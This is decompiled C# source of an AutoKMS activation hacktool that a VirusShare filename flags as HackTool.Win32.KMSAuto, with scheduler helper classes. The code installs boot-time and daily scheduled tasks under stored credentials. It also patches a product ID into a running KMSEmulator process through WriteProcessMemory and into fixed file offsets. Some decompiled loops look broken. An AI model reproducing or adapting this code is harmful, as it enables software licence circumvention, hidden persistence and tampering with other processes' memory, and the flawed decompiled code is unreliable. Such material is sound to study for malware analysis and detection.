|
||||
task.Parameters = "/Application";
|
||||
task.SetAccountInformation(Activation.Account, Activation.Password);
|
||||
task.Priority = ProcessPriorityClass.Normal;
|
||||
Trigger trigger = (Trigger) new DailyTrigger(Convert.ToInt16(DateTime.Now.Hour), Convert.ToInt16(DateTime.Now.Minute));
|
||||
task.Triggers.Add(trigger);
|
||||
task.Triggers.Add((Trigger) new OnSystemStartTrigger());
|
||||
task.Save();
|
||||
task.Close();
|
||||
scheduledTasks.Dispose();
|
||||
}
|
||||
|
||||
public static void DeleteAutoKMSNormalTask()
|
||||
{
|
||||
ScheduledTasks scheduledTasks = new ScheduledTasks();
|
||||
try
|
||||
{
|
||||
scheduledTasks.DeleteTask("AutoKMS");
|
||||
scheduledTasks.DeleteTask("AutoKMSDaily");
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+101
@@ -0,0 +1,101 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Office_2010_Toolkit.Logic.KMSEditor
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using ProcessMemoryReaderLib;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace Office_2010_Toolkit.Logic
|
||||
{
|
||||
internal class KMSEditor
|
||||
{
|
||||
public static Stream ConvertByteArrayToStream(byte[] input) => (Stream) new MemoryStream(input);
|
||||
|
||||
public static byte[] StrToByteArray(string str) => Encoding.Unicode.GetBytes(str);
|
||||
|
||||
public static string ReadPIDFromByteArray(byte[] KMSEmulator)
|
||||
{
|
||||
Stream stream = KMSEditor.ConvertByteArrayToStream(KMSEmulator);
|
||||
byte[] bytes = new byte[48];
|
||||
int index = 0;
|
||||
for (stream.Position = 136932L; stream.Position != 137028L; ++stream.Position)
|
||||
{
|
||||
bytes[index] = (byte) stream.ReadByte();
|
||||
++index;
|
||||
}
|
||||
return Encoding.ASCII.GetString(bytes);
|
||||
}
|
||||
|
||||
public static string ReadPIDFromFile(string path)
|
||||
{
|
||||
byte[] bytes = new byte[48];
|
||||
int index = 0;
|
||||
FileStream fileStream1;
|
||||
using (FileStream fileStream2 = new FileStream(path, FileMode.Open, FileAccess.ReadWrite))
|
||||
{
|
||||
for (fileStream2.Position = 136932L; fileStream2.Position != 137028L; ++fileStream1.Position)
|
||||
{
|
||||
bytes[index] = (byte) fileStream2.ReadByte();
|
||||
++index;
|
||||
fileStream1 = fileStream2;
|
||||
}
|
||||
}
|
||||
return Encoding.ASCII.GetString(bytes);
|
||||
}
|
||||
|
||||
public static string ReadPIDFromMemory()
|
||||
{
|
||||
int bytesRead = 0;
|
||||
ProcessMemoryReader processMemoryReader = new ProcessMemoryReader();
|
||||
Process process = (Process) null;
|
||||
Process[] processes = Process.GetProcesses();
|
||||
IntPtr MemoryAddress = (IntPtr) 4331234;
|
||||
for (int index = 0; index < processes.Length; ++index)
|
||||
{
|
||||
if (processes[index].ProcessName == "KMSEmulator")
|
||||
process = processes[index];
|
||||
}
|
||||
processMemoryReader.ReadProcess = process;
|
||||
processMemoryReader.OpenProcess();
|
||||
return Encoding.Unicode.GetString(processMemoryReader.ReadProcessMemory(MemoryAddress, 98U, out bytesRead));
|
||||
}
|
||||
|
||||
public static void WritePIDToMemory(string PID)
|
||||
{
|
||||
int bytesWritten = 0;
|
||||
ProcessMemoryReader processMemoryReader = new ProcessMemoryReader();
|
||||
Process process = (Process) null;
|
||||
Process[] processes = Process.GetProcesses();
|
||||
IntPtr MemoryAddress = (IntPtr) 4331236;
|
||||
byte[] byteArray = KMSEditor.StrToByteArray(PID);
|
||||
for (int index = 0; index < processes.Length; ++index)
|
||||
{
|
||||
if (processes[index].ProcessName == "KMSEmulator")
|
||||
process = processes[index];
|
||||
}
|
||||
processMemoryReader.ReadProcess = process;
|
||||
processMemoryReader.OpenProcess();
|
||||
processMemoryReader.WriteProcessMemory(MemoryAddress, byteArray, out bytesWritten);
|
||||
}
|
||||
|
||||
public static void WritePIDToFile(string path, string PID)
|
||||
{
|
||||
int index = 0;
|
||||
FileStream fileStream1;
|
||||
using (FileStream fileStream2 = new FileStream(path, FileMode.Open, FileAccess.ReadWrite))
|
||||
{
|
||||
for (fileStream2.Position = 136932L; fileStream2.Position != 137028L; ++fileStream1.Position)
|
||||
{
|
||||
fileStream2.WriteByte((byte) PID[index]);
|
||||
++index;
|
||||
fileStream1 = fileStream2;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+75
@@ -0,0 +1,75 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Office_2010_Toolkit.Result
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace Office_2010_Toolkit
|
||||
{
|
||||
public class Result
|
||||
{
|
||||
private int _ExitCode;
|
||||
private string _Output;
|
||||
public string _Error;
|
||||
|
||||
public int ExitCode
|
||||
{
|
||||
get => this._ExitCode;
|
||||
set => this._ExitCode = value;
|
||||
}
|
||||
|
||||
public string Output
|
||||
{
|
||||
get => this._Output;
|
||||
set => this._Output = value;
|
||||
}
|
||||
|
||||
public string Error
|
||||
{
|
||||
get => this._Error;
|
||||
set
|
||||
{
|
||||
this._Error = value;
|
||||
if (this._ExitCode != 0)
|
||||
return;
|
||||
this._ExitCode = -1;
|
||||
}
|
||||
}
|
||||
|
||||
public Result()
|
||||
{
|
||||
this._ExitCode = 0;
|
||||
this._Output = string.Empty;
|
||||
this._Error = string.Empty;
|
||||
}
|
||||
|
||||
public Result(int Exit_Code)
|
||||
{
|
||||
this._ExitCode = Exit_Code;
|
||||
this._Output = string.Empty;
|
||||
this._Error = string.Empty;
|
||||
}
|
||||
|
||||
public Result(string Out_Put)
|
||||
{
|
||||
this._ExitCode = 0;
|
||||
this._Output = Out_Put;
|
||||
this._Error = string.Empty;
|
||||
}
|
||||
|
||||
public Result(int Exit_Code, string Out_Put)
|
||||
{
|
||||
this._ExitCode = Exit_Code;
|
||||
this._Output = Out_Put;
|
||||
this._Error = string.Empty;
|
||||
}
|
||||
|
||||
public bool HasError
|
||||
{
|
||||
get => this._ExitCode != 0;
|
||||
set
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+47
@@ -0,0 +1,47 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ProcessMemoryReaderLib.ProcessMemoryReader
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace ProcessMemoryReaderLib
|
||||
{
|
||||
public class ProcessMemoryReader
|
||||
{
|
||||
private Process m_ReadProcess;
|
||||
private IntPtr m_hProcess = IntPtr.Zero;
|
||||
|
||||
public Process ReadProcess
|
||||
{
|
||||
get => this.m_ReadProcess;
|
||||
set => this.m_ReadProcess = value;
|
||||
}
|
||||
|
||||
public void OpenProcess() => this.m_hProcess = ProcessMemoryReaderApi.OpenProcess(56U, 1, (uint) this.m_ReadProcess.Id);
|
||||
|
||||
public void CloseHandle()
|
||||
{
|
||||
if (ProcessMemoryReaderApi.CloseHandle(this.m_hProcess) == 0)
|
||||
throw new Exception("CloseHandle failed");
|
||||
}
|
||||
|
||||
public byte[] ReadProcessMemory(IntPtr MemoryAddress, uint bytesToRead, out int bytesRead)
|
||||
{
|
||||
byte[] buffer = new byte[(IntPtr) bytesToRead];
|
||||
IntPtr lpNumberOfBytesRead;
|
||||
ProcessMemoryReaderApi.ReadProcessMemory(this.m_hProcess, MemoryAddress, buffer, bytesToRead, out lpNumberOfBytesRead);
|
||||
bytesRead = lpNumberOfBytesRead.ToInt32();
|
||||
return buffer;
|
||||
}
|
||||
|
||||
public void WriteProcessMemory(IntPtr MemoryAddress, byte[] bytesToWrite, out int bytesWritten)
|
||||
{
|
||||
IntPtr lpNumberOfBytesWritten;
|
||||
ProcessMemoryReaderApi.WriteProcessMemory(this.m_hProcess, MemoryAddress, bytesToWrite, (uint) bytesToWrite.Length, out lpNumberOfBytesWritten);
|
||||
bytesWritten = lpNumberOfBytesWritten.ToInt32();
|
||||
}
|
||||
}
|
||||
}
|
||||
+55
@@ -0,0 +1,55 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ProcessMemoryReaderLib.ProcessMemoryReaderApi
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace ProcessMemoryReaderLib
|
||||
{
|
||||
internal class ProcessMemoryReaderApi
|
||||
{
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr OpenProcess(
|
||||
uint dwDesiredAccess,
|
||||
int bInheritHandle,
|
||||
uint dwProcessId);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern int CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern int ReadProcessMemory(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpBaseAddress,
|
||||
[In, Out] byte[] buffer,
|
||||
uint size,
|
||||
out IntPtr lpNumberOfBytesRead);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern int WriteProcessMemory(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpBaseAddress,
|
||||
[In, Out] byte[] buffer,
|
||||
uint size,
|
||||
out IntPtr lpNumberOfBytesWritten);
|
||||
|
||||
[Flags]
|
||||
public enum ProcessAccessType
|
||||
{
|
||||
PROCESS_TERMINATE = 1,
|
||||
PROCESS_CREATE_THREAD = 2,
|
||||
PROCESS_SET_SESSIONID = 4,
|
||||
PROCESS_VM_OPERATION = 8,
|
||||
PROCESS_VM_READ = 16, // 0x00000010
|
||||
PROCESS_VM_WRITE = 32, // 0x00000020
|
||||
PROCESS_DUP_HANDLE = 64, // 0x00000040
|
||||
PROCESS_CREATE_PROCESS = 128, // 0x00000080
|
||||
PROCESS_SET_QUOTA = 256, // 0x00000100
|
||||
PROCESS_SET_INFORMATION = 512, // 0x00000200
|
||||
PROCESS_QUERY_INFORMATION = 1024, // 0x00000400
|
||||
}
|
||||
}
|
||||
}
|
||||
+40
@@ -0,0 +1,40 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.DailyTrigger
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using TaskSchedulerInterop;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public class DailyTrigger : StartableTrigger
|
||||
{
|
||||
public DailyTrigger(short hour, short minutes, short daysInterval)
|
||||
{
|
||||
this.SetStartTime((ushort) hour, (ushort) minutes);
|
||||
this.taskTrigger.Type = TaskTriggerType.TIME_TRIGGER_DAILY;
|
||||
this.taskTrigger.Data.daily.DaysInterval = (ushort) daysInterval;
|
||||
}
|
||||
|
||||
public DailyTrigger(short hour, short minutes)
|
||||
: this(hour, minutes, (short) 1)
|
||||
{
|
||||
}
|
||||
|
||||
internal DailyTrigger(ITaskTrigger iTrigger)
|
||||
: base(iTrigger)
|
||||
{
|
||||
}
|
||||
|
||||
public short DaysInterval
|
||||
{
|
||||
get => (short) this.taskTrigger.Data.daily.DaysInterval;
|
||||
set
|
||||
{
|
||||
this.taskTrigger.Data.daily.DaysInterval = (ushort) value;
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.DaysOfTheWeek
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
[Flags]
|
||||
public enum DaysOfTheWeek : short
|
||||
{
|
||||
Sunday = 1,
|
||||
Monday = 2,
|
||||
Tuesday = 4,
|
||||
Wednesday = 8,
|
||||
Thursday = 16, // 0x0010
|
||||
Friday = 32, // 0x0020
|
||||
Saturday = 64, // 0x0040
|
||||
}
|
||||
}
|
||||
+71
@@ -0,0 +1,71 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.MonthlyDOWTrigger
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using TaskSchedulerInterop;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public class MonthlyDOWTrigger : StartableTrigger
|
||||
{
|
||||
public MonthlyDOWTrigger(
|
||||
short hour,
|
||||
short minutes,
|
||||
DaysOfTheWeek daysOfTheWeek,
|
||||
WhichWeek whichWeeks,
|
||||
MonthsOfTheYear months)
|
||||
{
|
||||
this.SetStartTime((ushort) hour, (ushort) minutes);
|
||||
this.taskTrigger.Type = TaskTriggerType.TIME_TRIGGER_MONTHLYDOW;
|
||||
this.taskTrigger.Data.monthlyDOW.WhichWeek = (ushort) whichWeeks;
|
||||
this.taskTrigger.Data.monthlyDOW.DaysOfTheWeek = (ushort) daysOfTheWeek;
|
||||
this.taskTrigger.Data.monthlyDOW.Months = (ushort) months;
|
||||
}
|
||||
|
||||
public MonthlyDOWTrigger(
|
||||
short hour,
|
||||
short minutes,
|
||||
DaysOfTheWeek daysOfTheWeek,
|
||||
WhichWeek whichWeeks)
|
||||
: this(hour, minutes, daysOfTheWeek, whichWeeks, MonthsOfTheYear.January | MonthsOfTheYear.February | MonthsOfTheYear.March | MonthsOfTheYear.April | MonthsOfTheYear.May | MonthsOfTheYear.June | MonthsOfTheYear.July | MonthsOfTheYear.August | MonthsOfTheYear.September | MonthsOfTheYear.October | MonthsOfTheYear.November | MonthsOfTheYear.December)
|
||||
{
|
||||
}
|
||||
|
||||
internal MonthlyDOWTrigger(ITaskTrigger iTrigger)
|
||||
: base(iTrigger)
|
||||
{
|
||||
}
|
||||
|
||||
public short WhichWeeks
|
||||
{
|
||||
get => (short) this.taskTrigger.Data.monthlyDOW.WhichWeek;
|
||||
set
|
||||
{
|
||||
this.taskTrigger.Data.monthlyDOW.WhichWeek = (ushort) value;
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
|
||||
public DaysOfTheWeek WeekDays
|
||||
{
|
||||
get => (DaysOfTheWeek) this.taskTrigger.Data.monthlyDOW.DaysOfTheWeek;
|
||||
set
|
||||
{
|
||||
this.taskTrigger.Data.monthlyDOW.DaysOfTheWeek = (ushort) value;
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
|
||||
public MonthsOfTheYear Months
|
||||
{
|
||||
get => (MonthsOfTheYear) this.taskTrigger.Data.monthlyDOW.Months;
|
||||
set
|
||||
{
|
||||
this.taskTrigger.Data.monthlyDOW.Months = (ushort) value;
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+79
@@ -0,0 +1,79 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.MonthlyTrigger
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using TaskSchedulerInterop;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public class MonthlyTrigger : StartableTrigger
|
||||
{
|
||||
public MonthlyTrigger(short hour, short minutes, int[] daysOfMonth, MonthsOfTheYear months)
|
||||
{
|
||||
this.SetStartTime((ushort) hour, (ushort) minutes);
|
||||
this.taskTrigger.Type = TaskTriggerType.TIME_TRIGGER_MONTHLYDATE;
|
||||
this.taskTrigger.Data.monthlyDate.Months = (ushort) months;
|
||||
this.taskTrigger.Data.monthlyDate.Days = (uint) MonthlyTrigger.IndicesToMask(daysOfMonth);
|
||||
}
|
||||
|
||||
public MonthlyTrigger(short hour, short minutes, int[] daysOfMonth)
|
||||
: this(hour, minutes, daysOfMonth, MonthsOfTheYear.January | MonthsOfTheYear.February | MonthsOfTheYear.March | MonthsOfTheYear.April | MonthsOfTheYear.May | MonthsOfTheYear.June | MonthsOfTheYear.July | MonthsOfTheYear.August | MonthsOfTheYear.September | MonthsOfTheYear.October | MonthsOfTheYear.November | MonthsOfTheYear.December)
|
||||
{
|
||||
}
|
||||
|
||||
internal MonthlyTrigger(ITaskTrigger iTrigger)
|
||||
: base(iTrigger)
|
||||
{
|
||||
}
|
||||
|
||||
public MonthsOfTheYear Months
|
||||
{
|
||||
get => (MonthsOfTheYear) this.taskTrigger.Data.monthlyDate.Months;
|
||||
set
|
||||
{
|
||||
this.taskTrigger.Data.monthlyDOW.Months = (ushort) value;
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
|
||||
private static int[] MaskToIndices(int mask)
|
||||
{
|
||||
int length = 0;
|
||||
for (int index = 0; mask >> index > 0; ++index)
|
||||
length += 1 & mask >> index;
|
||||
int[] indices = new int[length];
|
||||
int num = 0;
|
||||
for (int index = 0; mask >> index > 0; ++index)
|
||||
{
|
||||
if ((1 & mask >> index) == 1)
|
||||
indices[num++] = index + 1;
|
||||
}
|
||||
return indices;
|
||||
}
|
||||
|
||||
private static int IndicesToMask(int[] indices)
|
||||
{
|
||||
int mask = 0;
|
||||
foreach (int index in indices)
|
||||
{
|
||||
if (index < 1 || index > 31)
|
||||
throw new ArgumentException("Days must be in the range 1..31");
|
||||
mask |= 1 << index - 1;
|
||||
}
|
||||
return mask;
|
||||
}
|
||||
|
||||
public int[] Days
|
||||
{
|
||||
get => MonthlyTrigger.MaskToIndices((int) this.taskTrigger.Data.monthlyDate.Days);
|
||||
set
|
||||
{
|
||||
this.taskTrigger.Data.monthlyDate.Days = (uint) MonthlyTrigger.IndicesToMask(value);
|
||||
this.SyncTrigger();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.MonthsOfTheYear
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
[Flags]
|
||||
public enum MonthsOfTheYear : short
|
||||
{
|
||||
January = 1,
|
||||
February = 2,
|
||||
March = 4,
|
||||
April = 8,
|
||||
May = 16, // 0x0010
|
||||
June = 32, // 0x0020
|
||||
July = 64, // 0x0040
|
||||
August = 128, // 0x0080
|
||||
September = 256, // 0x0100
|
||||
October = 512, // 0x0200
|
||||
November = 1024, // 0x0400
|
||||
December = 2048, // 0x0800
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.OnIdleTrigger
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using TaskSchedulerInterop;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public class OnIdleTrigger : Trigger
|
||||
{
|
||||
public OnIdleTrigger() => this.taskTrigger.Type = TaskTriggerType.EVENT_TRIGGER_ON_IDLE;
|
||||
|
||||
internal OnIdleTrigger(ITaskTrigger iTrigger)
|
||||
: base(iTrigger)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.OnLogonTrigger
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using TaskSchedulerInterop;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public class OnLogonTrigger : Trigger
|
||||
{
|
||||
public OnLogonTrigger() => this.taskTrigger.Type = TaskTriggerType.EVENT_TRIGGER_AT_LOGON;
|
||||
|
||||
internal OnLogonTrigger(ITaskTrigger iTrigger)
|
||||
: base(iTrigger)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.OnSystemStartTrigger
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using TaskSchedulerInterop;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public class OnSystemStartTrigger : Trigger
|
||||
{
|
||||
public OnSystemStartTrigger() => this.taskTrigger.Type = TaskTriggerType.EVENT_TRIGGER_AT_SYSTEMSTART;
|
||||
|
||||
internal OnSystemStartTrigger(ITaskTrigger iTrigger)
|
||||
: base(iTrigger)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+28
@@ -0,0 +1,28 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.RunOnceTrigger
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using TaskSchedulerInterop;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public class RunOnceTrigger : StartableTrigger
|
||||
{
|
||||
public RunOnceTrigger(DateTime runDateTime)
|
||||
{
|
||||
this.taskTrigger.BeginYear = (ushort) runDateTime.Year;
|
||||
this.taskTrigger.BeginMonth = (ushort) runDateTime.Month;
|
||||
this.taskTrigger.BeginDay = (ushort) runDateTime.Day;
|
||||
this.SetStartTime((ushort) runDateTime.Hour, (ushort) runDateTime.Minute);
|
||||
this.taskTrigger.Type = TaskTriggerType.TIME_TRIGGER_ONCE;
|
||||
}
|
||||
|
||||
internal RunOnceTrigger(ITaskTrigger iTrigger)
|
||||
: base(iTrigger)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+110
@@ -0,0 +1,110 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.ScheduledTasks
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using TaskSchedulerInterop;
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public class ScheduledTasks : IDisposable
|
||||
{
|
||||
private ITaskScheduler its;
|
||||
internal static Guid ITaskGuid = Marshal.GenerateGuidForType(typeof (ITask));
|
||||
internal static Guid CTaskGuid = Marshal.GenerateGuidForType(typeof (CTask));
|
||||
|
||||
public ScheduledTasks(string computer)
|
||||
: this()
|
||||
{
|
||||
this.its.SetTargetComputer(computer);
|
||||
}
|
||||
|
||||
public ScheduledTasks() => this.its = (ITaskScheduler) new CTaskScheduler();
|
||||
|
||||
private string[] GrowStringArray(string[] s, uint n)
|
||||
{
|
||||
string[] strArray = new string[(long) s.Length + (long) n];
|
||||
for (int index = 0; index < s.Length; ++index)
|
||||
strArray[index] = s[index];
|
||||
return strArray;
|
||||
}
|
||||
|
||||
public string[] GetTaskNames()
|
||||
{
|
||||
string[] s = new string[0];
|
||||
int num = 0;
|
||||
IEnumWorkItems EnumWorkItems;
|
||||
this.its.Enum(out EnumWorkItems);
|
||||
uint Fetched;
|
||||
IntPtr Names;
|
||||
while (EnumWorkItems.Next(10U, out Names, out Fetched) >= 0 && Fetched > 0U)
|
||||
{
|
||||
s = this.GrowStringArray(s, Fetched);
|
||||
while (Fetched > 0U)
|
||||
{
|
||||
IntPtr ptr = Marshal.ReadIntPtr(Names, (int) --Fetched * IntPtr.Size);
|
||||
s[num++] = Marshal.PtrToStringUni(ptr);
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
}
|
||||
Marshal.FreeCoTaskMem(Names);
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
public Task CreateTask(string name)
|
||||
{
|
||||
Task task = this.OpenTask(name);
|
||||
if (task != null)
|
||||
{
|
||||
task.Close();
|
||||
throw new ArgumentException("The task \"" + name + "\" already exists.");
|
||||
}
|
||||
try
|
||||
{
|
||||
object obj;
|
||||
this.its.NewWorkItem(name, ref ScheduledTasks.CTaskGuid, ref ScheduledTasks.ITaskGuid, out obj);
|
||||
return new Task((ITask) obj, name);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return (Task) null;
|
||||
}
|
||||
}
|
||||
|
||||
public bool DeleteTask(string name)
|
||||
{
|
||||
try
|
||||
{
|
||||
this.its.Delete(name);
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public Task OpenTask(string name)
|
||||
{
|
||||
try
|
||||
{
|
||||
object obj;
|
||||
this.its.Activate(name, ref ScheduledTasks.ITaskGuid, out obj);
|
||||
return new Task((ITask) obj, name);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return (Task) null;
|
||||
}
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Marshal.ReleaseComObject((object) this.its);
|
||||
this.its = (ITaskScheduler) null;
|
||||
}
|
||||
}
|
||||
}
|
||||
+29
@@ -0,0 +1,29 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskScheduler.Scheduler
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace TaskScheduler
|
||||
{
|
||||
public class Scheduler
|
||||
{
|
||||
private readonly TaskList tasks;
|
||||
|
